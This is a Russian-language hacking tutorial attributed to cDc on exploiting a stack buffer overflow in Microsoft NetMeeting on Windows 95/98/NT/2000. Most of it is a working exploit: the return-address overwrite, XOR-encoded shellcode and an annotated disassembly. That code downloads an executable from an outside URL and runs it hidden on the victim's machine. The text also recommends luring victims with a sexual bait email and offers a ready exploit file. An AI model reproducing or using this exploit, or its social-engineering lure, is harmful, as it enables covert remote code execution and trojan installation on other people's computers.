|
Переполнение буфера win32: беспредел
Во все времена
наши операционные системы
страдали от ошибок
Неосведомлённый мир
Повернулся к Windows
для безопасности
от себя самих
Но пришло время
показать миру
что мы все равны
Использование переполнения буфера требует внимания, знаний, навыка и воображения. Мы не можем научить Вас всему вышеперечисленному. Но мы можем рассказать технологию построения собственных эксплоитов для переполнения буфера в windows 95,98,NT и 2000. Мы ставим своей целью скачать с сервера и запустить у жертвы какой-либо файл по нашему усмотрению без её ведома.
Данный документ потребует от вас знакомства с
-архитектурой процессоров x86, предпочтительно Pentium.
-базовой архитектурой Windows (вы должны знать принцип построения формата PE-Exetuable.
-Знать, что такое URL.
-Иметь представление о языке C
Так же вам потребуются следующие инструменты:
Шестнадцатеричный редактор/просмотрищик кода, такой, как HIEW.
Отладчик реального времени SoftIce.
Некоторые из инструментов, поставляемых с Visual C++, например, Dumpenv.
ОСНОВЫ
Переполнение буфера возникнет, если что-то очень большое будет помещено в переменную меньше, чем необходимо. То, что не попало в переменную, попадёт в предсказуемое место памяти. Пример кода:
void func(void)
{
int i; char buffer[256]; // *
for(i=0;i<512;i++)
buffer[i]='A'; // !
return;
}
Как вы видите, наш 'buffer' заполняется 256-ю символами А, а остальные 256 куда-то пропадают.Куда - зависит от языка, на котором Вы писали программу, от версии операционной системы, но если ваша программа не запущена внутри виртуальной машины, подобной Java, мы гарантируем, что ваши А болтаются где-то в памяти, никуда не исчезнув.
Приводим схему 32-битного стека, типчиного для операционных систем Windows. Он выглядит так, как он должен выглядет при достижении системой строки, помеченной комментарием*.
СТЕК
------------------------
Локальные переменные
i <-ESP (stack pointer)
buffer
------------------------
Старое значение EBP <-EBP
------------------------
Адрес возврата
------------------------
Когда оканчивается процедура "func", она переписывает EBP обратно в ESP, и загружает (командой pop) адрес возврата из стека. Когда программа доходит до строки, закомментированной !, происходит переполнение буфера, и EBP и адрес возврата оказываются забиты символом А. Переопредилив системный адрес, вы может изменить ход исполнения программы по вашему усмотрению. Всё, что вам надо сделать - решить, с какого нового адреса Ваша программа продолжит своё исполнение. Если же вы забъёте буфер исполняемым кодом, затем Вы сможете переопределить EIP на начало этого вашего кода на следующем RET'e, пока, конечно, у Вас есть память, куда этот код писать.
Если вы поняли, что мы хотели Вам здесь рассказать, или же Вы уже знакомы с этим, то перейдём к тому, как распознать условия переполнения буфера в Windows и расскажем детали использования этого.
Вот всем Вам с детства знакомое окошко:
Если вы это видели, значит вам точно удавалось добиться переполнения буфера. Конечно, все такие окна похожи друг на друга, но давайте присмотримся поближе к этим данным, что выдала нам программа в своей агонии.
Чтобы добится данного результата, мы забили байтами 0x80 строку адреса в популярной программе Microsoft Netmeeting. EIP тоже забит этими байтами. То, что надо ! Всё, что надо теперь сделать - написать программку, которая подсунет бедному Netmeeting нужный код и подставит в EIP нужный нам адрес вместо этих 0X80.
Заметьте, что остальные типы ошибок программ Windows приводят к появлению подобных окон, но не все они являются результатом переполнения буфера. Некоторые переполнения буфера легче использовать, чем остальные - это переполонения стека. Другие типы переполнений, такие как heap overflows, так же можно использовать, но это гораздо сложнее - и мы осветим эту проблему в последующих статьях.
Как только вы уверены в том, что нашли возможность переполнения буфера, вы можете решить, в каких целях вы сможете это использовать.
Теперь пришло время рассказать о том, для чего можно это использовать. Чтобы создать ситуацию переполнения буфера, был создан файл overflow.cnf - в формате Microsoft Neetmeeting, содержащий ту длиную строку символов, которой мы переполнёли NetMeeting в прошлый раз. Зачастую такие файлы люди размещают на своих веб-страницах или отправляют по email'у, чтобы другие смогли их по этому NetMeetingu вызвать.
Если вы хотите использовать этот эксплоит, просто запустите NetMeeting, найдите толпу людей на ILS-сервере и пошлите им email с этим файлом. Можете написать в mail'e лабуду типа "My girlfriend and I want you to watch us fuck while you spank it! Call us soon, we're horny!" - тогда народ точно откроет ваш файл...бац ! они все повылетали ;-)
Но это всего лишь шутки. Чего мы на самом деле хотим, и что мы имеем... мы добились переполнения в RUNDLL32.EXE, который к тому же имеет различный размер в NT и 95/98. Но, как видите, небольшая разница в таблицах - не помеха нам.
Когда происходит инициированный нами сбой, сам NetMeeting вовсе не закрывается. Это означачет, что RUNDLL был запущен в отдельном адресном пространстве. Это и хорошо и плохо. Хорошо тем, что Вам не надо просматривать мегабайты исполняемого кода, предшествовавшего сбою и это не выглядит слишком подозрительно, так как NetMeeting не закрылся.Плохая сторона в том, что под RUNDLL не отводится много памяти и мы ограничены в размере передаваемого кода.
При более пристальном рассмортрении, мы млжем извлечь из этого немного больше пользы. Исполняемый файл RUNDLL32.EXE имеет базовый адрес 0x00400000. Это означает, что практически все ссылки на него имеют хотя бы один символ NULL. Это плохо, так как проактически всегда операции со строками приводят к вырезанию из них нулей. Так что если мы забъём наш код символами NULL (0x00), то наш собственный эксплоит не сработает, потому что все NULL'ы будут обрезаны. Остальные нежелательные символы - переводы каретки и некоторые управляющие коды.
Другие вещи с которыми можно поработать : подгружается модуль MSCONF.DLL. Он загружается потому, что по умолчанию .CNF файлы запускаются строкой вида "rundll32.exe msconf.dll,OpenConfLink %l". Также подгружается Kernel32.
Итак, используя функции данных модулей, мы попытаемся использовать фунцкии работы с winsock, то есть "работать с интернетом ;-)", и для этого нам ридётся использовать функции библиотке WSOCK32.DLL или же WININET.DLL. WinInet более приятен нам меньшим размером и большим объёмом функций. Так как он не загружается вместе с RUNDLL32, нам придётся запустить его. Но погодите ! Мы ещё не рассмотрели, как захватить контроль над EIP (указателем точки исполнения) и перопределить его на наш код. Итак, наша задача - переопределить EIP.
ПЕРЕОПРЕДЕЛЕНИЕ
Итак, ты обнаружили что через переполнение буффера определённой длины мы можем модифицировать EIP и перейти к исполнению нашего кода. К примеру, можно попытаться в буфер длиной 256 символов записать строку вида:
Address=.....256точек....1234xyz
Такие данные переполнят буфер, установят EBP в 0x34333231 и установят EIP в 0x00ZZYYXX, поскольку строка заканчивается NULL'ом. Итак, это даёт нам возможность указать на любое место продолжения исполнения нашей программы.
Как правило, это срабатывает. Но иногда буфер либо слишком мал, чтобы поместить туда что-либо полезное, либо сперва буфер забивается какими-либо данными. И как правило, селует размещать исполняемый корд ПОСЛЕ адреса, куда перейдёт наша программа-жертва.
Address=.....256точек....1234wxyzНАЧАЛОНАШЕГОКОДА>>>
В этом случае у Вас есть гораздо больше места для размещения Вашего собственного исполняемого кода. Как точно узнатьновое значение EIP, указывающее на ваш код?
Берите в руки SoftICE, запускайте из-под него программу, которую ломаете и передайте ей строку, ведущую к переполнению. После сбоя вы увидите, что ESP (stack pointer) - единственный регистр, который показывает на адрес близкий к адресу нашего кода. Фактически, он указывает на адрес, где мы вышли за пределы положенного нам размера - EBP + 16 байт. Хорошо... что же мы будем делать?
Нам надо перепрыгнуть через область, занятую стеком. То есть, как правило, будет достаточно перехода по адесу ESP. Более правильный путь - установить 0xZZYYXXWW в точку кода, где есть команда jmp esp или же call esp или что-то подобное. Но. в результате издержек компиляции, такая точка может оказаться в области, недоступной процессу, с бессмысленными адресами типа 0x00. Но, при анализе MSCONF32.DLL мы обнаружили наш код в сегменте 0x6A600000 смещение 2А76:
.00002A76: 54 push esp
.00002A77: 2404 and al,004
.00002A79: 33C0 xor eax,eax
.00002A7B: 8A0A mov cl,[edx]
.00002A7D: 84C9 test cl,cl
.00002A7F: 740F je .000002A90
.00002A81: 80E930 sub cl,030 ;"0"
.00002A84: 8D0480 lea eax,[eax][eax]*4
.00002A87: 0FB6C9 movzx ecx,cl
.00002A8A: 42 inc edx
.00002A8B: 8D0441 lea eax,[ecx][eax]*2
.00002A8E: EBEB jmps .000002A7B
.00002A90: C20400 retn 00004
Непохоже, чтобы код начинался с jmp esp. Он возвращается к ESP. Выполняется PUSH ESP, затем JMPS 2A7B, поле этого переход JE 2A90 возвращает нас к RET'у. MSCONF.DLL загружен, он представлен одной версией для всех систем - соответственно адрес, куда на который мы передадим управление - 0x6A602A76. В этой строке нет ни нулей, ни возвратов каретки. Отлично. Мы переставили EIP. Процессор под нашим контролем.
Пришло время рассказать о том, как мы будем строить код эксплоита, выполняемый после переполнения буфера. Можно заметить, что нам надо втиснуть всё в 763 байта, иначе сбой произойдёт в другом месте и код не исполнится. Это так же переполнение, но немного другое ;-) - у нас даже целых два бага для исследования.
Первые 256 символов отбрасываются. Итак у нас есть 500 байт для нашего кода и неизвестная версия Windows. Так же нам неизвестны адреса функций API в NSCONF.DLL. Но для этого существует очень полезная процедура GetProcAddress. Мы найдём адрес этой процедуры, используя DUMPENV, поставляющийся вместе с VC++.
Microsoft (R) COFF Binary File Dumper Version 5.10.7303
Copyright (C) Microsoft Corp 1992-1997. All rights reserved.
Dump of file msconf.dll
File Type: DLL
Section contains the following imports:
KERNEL32.dll
23F Sleep
183 IsBadReadPtr
17E InterlockedIncrement
.
.
.
1E CompareStringA
98 FreeLibrary
116 GetProcAddress
190 LoadLibraryA
4C DeleteCriticalSection
51 DisableThreadLibraryCalls
.
.
.
То, что надо ! GetProcAddress и LoadLibraryA. С помощью этих функций мы можем подгружать необходимые модули. Так же функции возвращают базовый адрес подгружаемого модуля.
Итак, запускаем SoftIce и ищем адреса данных функций. Они будут 0x6A60107C (LoadLibraryA), и 0x6A601078 (GetProcAddress). Всё, что нам надо = вызвать их, используя неявный вызов (call dword ptr [0x6A60107C]) они сработают так, как надо нам.
Теперь, чтобы сделать эксплоит как можно более маленьким в размере, нам надо
-Знать таблицу функций, которые мы будем использовать
-Запустить код, работающий с этой таблицей
Это сильно уменьшит размер кода и минимизирует размер используемого стека. Это важно, поскольку если использовать чересчур много PUSH или POP, мы спаровоцируем ошибку в своём эксплоите или же создадим дополнительные проблемы со стеком. А чтобы построить таблицу адресов функций, надо наперёд знать, что мы будем использовать. Вообще, нам требуется заставить нашу маленькую програмку скачать и запустить нечно большее ;-) bo server или netbus, например. Кстати, подобным способом работал широко известный эксплоит от eeye.
Чтобы загрузить URL, нам понадобятся функции InternetOpenA, InternetCloseHandle, InternetOpenUrlA, и InternetReadFile из библиотеки WININET.DLL. Так же понадобятся _lcreat, _lwrite, и _lclose из KERNEL32.DLL, чтобы записать на диск загруженный файл. GlobalAlloc понадобится, чтобы выделить место для загружаемого потока данных. WinExec и ExitProcess будут нужны, чтобы исполнить и завершить то, что наш эксплоит скачает с известного адреса и прибить RUNDLL32 до того, как он пикнет об ужасных вещах ;-).
Заметьте, что в обычной порграмме под Win32 Вы никогда не встретите вызова _lcreat и прочих устаревших функций. Но, тем не менее, они существуют и никуда не делись даже из Windows 2000.
СОЗДАНИЕ ТАБЛИЦЫ АДРЕСОВ ФУНКЦИЙ
Нам требуется обратится к фунцкиям по имени. GetProcAddress обращается к вызываемой функции либо по номеру, либо по имени. Оканчивающемуся NULL'om. Но..увы, нам невозможно иметь нулевые байты в нашем эксплоите. Но...путём простейшего применения XOR'a или ADD'a ко всем байтам эксплоита, можно добиться отсутствия в нём досадных нулей. При его запуске, естественно, происходит обратная процедура. Так же этио всё-же мало-мальская шифровка - невооружённый глаз пьяного администратора не углядит ничего подозрительного в сторке кода. Всё же это не шифровка в обычном смысле этого слова - мы пытаемся заставить эксплоит работать...
00000270: .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00 KERNEL32
00000280: 5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00 _lcreat _lwrite
00000290: 5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00 _lclose WinExec
000002A0: 45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62 ExitProcess Glob
000002B0: 61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00 alAlloc WININET
000002C0: 49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E InternetOpenA In
000002D0: 74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C ternetCloseHandl
000002E0: 65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72 e InternetOpenUr
000002F0: 6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46 lA InternetReadF
00000300: 69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C ile http://www.l
00000310: 30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67 0pht.com/~dildog
00000320: 2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. .. /eatme.exe
XOR'им всё это по 0x80, чтобы избавиться от нулевых байтов:
00000270: .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80 -+-++??_З
00000280: DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80 __?__Я_З_______З
00000290: DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80 __?____З+__+нь_?З
000002A0: C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2 +нь__-__?___З?___
000002B0: E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80 Я_-___?З+++++++З
000002C0: C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE +_______-___-З+_
000002D0: F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC ______+____+Я___
000002E0: E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2 _З+_______-___+_
000002F0: EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6 _-З+_______-_Я_?
00000300: E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC ___З____???___?_
00000310: B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7 ____??__?_______
00000320: AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. .. ?_Я___
Итак, первая задача после успешного пуска - раскодировать всё это:
00000146: 33C9 xor ecx,ecx; обнулить ecx
00000148: B88053FF63 mov eax,063FF5380 ;"c_SЗ"
0000014D: 2C80 sub al,080 ;"З"
0000014F: C1C018 rol eax,018
Устаноить EAX на конец наших данных в памяти.
00000152: B1B4 mov cl,0B4 ;"?"
ECX установлен в 0x000000B4, количество байт, которые будем XORить.
00000154: 48 dec eax
00000155: 803080 xor b,[eax],080 ;"З"
00000158: E2FA loop 000000154 ---------- (1)
Это и есть цикл, раскодируюий наши данные.
УСТАНОВКА ТАБЛИЦЫ ФУНКЦИЙ
0000015A: BE7C10606A mov esi,06A60107C
0000015F: 50 push eax
00000160: 50 push eax
00000161: FF16 call d,[esi]
00000163: 8BF0 mov esi,eax
Этот код вызывает LoadModule. EAX есть первый аргумент этой функции,
который указывает на строку "KERNEL32", После отработки LoadModule,
в EAX будет хэндл модуля ядра, который мы сохраняем в ESI, чтобы он
не был затёрт другими процедурами.
00000165: 5B pop ebx
00000166: 8BFB mov edi,ebx
00000168: 6681EF4BFF sub di,0FF4B ;"_K"
Этот код установит EDI в начало нашей таблицы, которая начинается
через 181 байт после начал таблицы строк, раскодированной нами ранее.
0000016D: FC cld
0000016E: 33C9 xor ecx,ecx
00000170: 80E9FA sub cl,-006
Мы собираемся запустить цикл 6 раз, чтоб вызвать по очереди все
нужные нам процедуры. Устанавливаем счётчик ( ECX ) в 6.
00000173: 43 inc ebx
00000174: 32C0 xor al,al
00000176: D7 xlat
00000177: 84C0 test al,al
00000179: 75F8 jne 000000173 ---------- (1)
0000017B: 43 inc ebx
Этот цикл проверяет текст на нули (другими словами, вычленяя
из него отдельные строки - имена функций), и устанавливает EBX
на адрес символа, идущего после нулевого байта. Это перемещает
нас от одного имети процедуры к другому. Обратите внимание на
рациональное ( 31337ное ) использование xlat'a - вся ссылка на
область памяти в одном байте ;-).
0000017C: 51 push ecx
0000017D: 53 push ebx
0000017E: 56 push esi
0000017F: FF157810606A call d,[06A601078]
00000185: AB stosd
00000186: 59 pop ecx
Этот код возвращает адреса функций и пишет их в EDI.
00000187: E2EA loop 000000173 ---------- (2)
Итак, это конец цикла процедуры определения адресов функций из ядра.
Теперь проделаем то же самое для модуля WININET:
00000189: 43 inc ebx
0000018A: 32C0 xor al,al
0000018C: D7 xlat
0000018D: 84C0 test al,al
0000018F: 75F8 jne 000000189 ---------- (2)
00000191: 43 inc ebx
Сдвигаем указатель на имя библиотеки с строке WININET
00000192: 53 push ebx
00000193: 53 push ebx
00000194: FF157C10606A call d,[06A60107C]
0000019A: 8BF0 mov esi,eax
0000019C: 90 nop
0000019D: 90 nop
0000019E: 90 nop
0000019F: 90 nop
Этот код пишет хэндл WININET'a в ESI. NOPы остались после отладки.
000001A0: 33C9 xor ecx,ecx
000001A2: 83E9FC sub ecx,-004
000001A5: 43 inc ebx
000001A6: 32C0 xor al,al
000001A8: D7 xlat
000001A9: 84C0 test al,al
000001AB: 75F8 jne 0000001A5
000001AD: 43 inc ebx
000001AE: 51 push ecx
000001AF: 53 push ebx
000001B0: 56 push esi
000001B1: FF157810606A call d,[06A601078]
000001B7: AB stosd
000001B8: 59 pop ecx
000001B9: E2EA loop 0000001A5
Всёе ! Таблица адресов функций построена ! Мы можем вызывать их, когда захотим ;-)
Теперь напишем собственно процедуру скачки файла и его запуска.
000001BB: 90 nop
000001BC: 90 nop
000001BD: 33C0 xor eax,eax
000001BF: 6648 dec ax
000001C1: D1E0 shl eax,1
000001C3: 33D2 xor edx,edx
000001C5: 50 push eax
000001C6: 52 push edx
000001C7: FF57EC call d,[edi][-0014]
000001CA: 8BF0 mov esi,eax
Выделяем 131070 байт памяти. Количество требуемых байт в EAX, и
затем мы вызываем неявно функцию GlobalAlloc, адрес которой берём
из построенной таблицы. Адрес начала выделенной нам области хранится теперь в ESI.
000001CC: 33D2 xor edx,edx
000001CE: 52 push edx
000001CF: 52 push edx
000001D0: 52 push edx
000001D1: 52 push edx
000001D2: 57 push edi
000001D3: FF57F0 call d,[edi][-0010]
Создаём хэндл Internet, вызывая функцию InternetOpenA. Передаваемые параметры
- нули, о них можно не беспокоиться. Сам хэндл будет возвращён нам в EAX, и
мы передадим его нашеё следующей функции.
000001D6: 33D2 xor edx,edx
000001D8: 52 push edx
000001D9: 52 push edx
000001DA: 52 push edx
000001DB: 90 nop
000001DC: 52 push edx
000001DD: 8BD7 mov edx,edi
000001DF: 83EA50 sub edx,050 ;"P"
000001E2: 90 nop
000001E3: 90 nop
000001E4: 90 nop
000001E5: 52 push edx
000001E6: 50 push eax
000001E7: FF57F8 call d,[edi][-0008]
Этот код вызовет InternetOpenUrlA (по таблице [EDI-0x08]), открывая наш
URL... тип - какой угодно, HTTP, FTP, FILE, GOPHER...
000001EA: 57 push edi
000001EB: 33D2 xor edx,edx
000001ED: 664A dec dx
000001EF: D1E2 shl edx,1
000001F1: 52 push edx
000001F2: 56 push esi
000001F3: 50 push eax
000001F4: FF57FC call d,[edi][-0004]
Запускаем InternetReadFile (по таблице - [EDI-0x04]), и загружаем
наши 131070 байт в буфер на начало которого указывает ESI
(1331070 байт). Но сначала мы сохранили в стеке EDI. Мы используем его
как счётчик скачанных байт. Это поможет нам при проверке
- всё ли удачно мы слили с сайта ?
000001F7: 90 nop
000001F8: 90 nop
000001F9: 90 nop
000001FA: 33D2 xor edx,edx
000001FC: 52 push edx
000001FD: 8BD7 mov edx,edi
000001FF: 83EA30 sub edx,030 ;"0"
00000202: 42 inc edx
00000203: 90 nop
00000204: 90 nop
00000205: 52 push edx
00000206: FF57D8 call d,[edi][-0028]
Вызвали _lcreat (по адресу в таблице [edi-0x28]), чтобы переписать
скачанный буфер в файл. Файл создаётся в директории, которая является
текущей для юзера (в нашем случае - файл e.exe создастся в
папке SpeedDial Netmeeting'a).
00000209: FF37 push d,[edi]
0000020B: 56 push esi
0000020C: 50 push eax
0000020D: 8BD8 mov ebx,eax
0000020F: FF57DC call d,[edi][-0024]
Вызов _lwrite (адрес из таблицы [edi-0x24]). Параметр - сколько
байт записать на диск. Файл создан - осталось его закрыть.
00000212: 53 push ebx
00000213: FF57E0 call d,[edi][-0020]
Закрыли. Лайнер готов, подан трап и контроль позади...
00000216: 90 nop
00000217: 90 nop
00000218: 90 nop
00000219: 33D2 xor edx,edx
0000021B: 42 inc edx
0000021C: 52 push edx
0000021D: 8BD7 mov edx,edi
0000021F: 83EA30 sub edx,030 ;"0"
00000222: 42 inc edx
00000223: 90 nop
00000224: 90 nop
00000225: 52 push edx
00000226: FF57E4 call d,[edi][-001C]
Вызвали WinExec, указав ему исполнить файл. Заметьте - первый
inc edx предназначен, чтобы определить, будет ли показано окно
(SW_SHOWNORMAL) или же не будет (SW_HIDE). Вы выбираем второй
вариант. А первый параметр функции - имя файла.
00000229: 90 nop
0000022A: 90 nop
0000022B: 90 nop
0000022C: FF57E8 call d,[edi][-0018]
ПУСК! Наш процесс заработал !
Итак, мы вкратце пояснили принципы действия overflow-эксплоитов для windows всех версий и привели рабочий код эксплоита для Microsoft NetMeeting. Кстати, подобным образом работал и overflow-эксплоит от eeye. А для совсем ленивых - готовый файлик exploit.cnf, содержащий вышепоказанный код. Работайте, смотрите, учитесь.
cDc
-void duke()
|